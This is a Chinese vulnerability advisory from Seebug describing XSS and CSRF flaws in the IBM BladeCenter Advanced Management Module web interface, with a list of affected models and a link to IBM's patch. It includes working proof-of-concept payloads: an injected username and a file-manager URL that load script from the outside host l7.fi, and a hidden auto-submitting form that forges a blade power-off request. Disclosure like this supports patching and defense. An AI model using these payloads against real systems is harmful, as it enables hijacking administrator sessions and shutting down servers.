IBM BladeCenter高级管理模块跨站脚本和跨站请求伪造漏洞

2009-04-11T00:00:00
ID SSV:5034
Type seebug
Reporter Root
Modified 2009-04-11T00:00:00

Description

BUGTRAQ ID: 34447

IBM BladeCenter是IBM的系列高性能刀片服务器。

IBM BladeCenter所使用的高级管理模块(AMM)的Web管理接口没有正确地过滤用户所提交的输入和请求。如果用户使用恶意的凭据试图登录的话,AMM会在事件日志页面记录用户所提交的凭据,之后管理员查看事件日志时就会执行所注入的内容。例如,攻击者可以使用以下用户名登录导致注入 JavaScript:

</script><script src="//l7.fi"></script><script>

AMM的文件管理器未经任何过滤便在页面显示用户所提交的输入,如果通过认证的管理员访问了恶意URL的话就可能导致另一个跨站脚本攻击。

AMM没有验证HTTP请求的来源,如果通过认证的管理员受骗查看了恶意的HTML内容的话,向AMM的Web管理接口提交恶意表单就可以完全获得管理员权限。由于管理界面允许No session timeout选项,如果没有从浏览器清除缓存的认证凭据的话,即使已经关闭了包含有管理界面的标签页,用户仍可能受这种攻击的影响。

IBM BladeCenter T (8720, 8730) IBM BladeCenter S (1948, 8886) IBM BladeCenter QS22 (0793) IBM BladeCenter QS21 (0792) IBM BladeCenter LS41 (7972) IBM BladeCenter LS21 (7971) IBM BladeCenter LS20 (8850) IBM BladeCenter JS22 (7998) IBM BladeCenter JS21 (7988, 8844) IBM BladeCenter JS12 (7998) IBM BladeCenter HT (8740, 8750) IBM BladeCenter HS21 XM (7995, 1915) IBM BladeCenter HS21 (8853, 1885) IBM BladeCenter HS20 (1883, 8843) IBM BladeCenter HS12 (8014, 1916, 8028) IBM BladeCenter HC10 (7996) IBM BladeCenter H (7989, 8852) IBM BladeCenter E (1881, 7967, 8677)

IBM

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

<a href=http://www-947.ibm.com/systems/support/supportsite.wss/docdisplay?lndocid=MIGR-5076206&brandind=5000020 target=_blank rel=external nofollow>http://www-947.ibm.com/systems/support/supportsite.wss/docdisplay?lndocid=MIGR-5076206&brandind=5000020</a>

                                        
                                            
                                                http://1.2.3.4/private/file_management.ssi?PATH=/etc&quot;&gt;&lt;script%20src=&quot;http://l7.fi&quot;&gt;&lt;/script&gt;
http://1.2.3.4/private/login.ssi?WEBINDEX=&lt;n&gt;&amp;JUNK=1

&lt;html&gt;
   &lt;body onload=&quot;document.foobar.submit()&quot;&gt;

   &lt;form name=&quot;foobar&quot; method=&quot;post&quot;
   action=&quot;http://1.2.3.4/private/blade_power_action&quot;
   style=&quot;display:none&quot;&gt;
   &lt;input name=&quot;COMMAND&quot; value=&quot;6.3.2&quot;&gt;
   &lt;input name=&quot;STATE&quot; value=&quot;0&quot;&gt;
   &lt;input name=&quot;CHECKED&quot; value=&quot;15&quot;&gt;
   &lt;input name=&quot;selall&quot; value=&quot;on&quot;&gt;
   &lt;input name=&quot;sel&quot; value=&quot;bl1&quot;&gt;
   &lt;input name=&quot;sel&quot; value=&quot;bl2&quot;&gt;
   &lt;input name=&quot;sel&quot; value=&quot;bl3&quot;&gt;
   &lt;input name=&quot;sel&quot; value=&quot;bl4&quot;&gt;
   &lt;input name=&quot;JUNK&quot; value=&quot;1&quot;&gt;

   &lt;/form&gt;
   &lt;body&gt;
   &lt;/html&gt;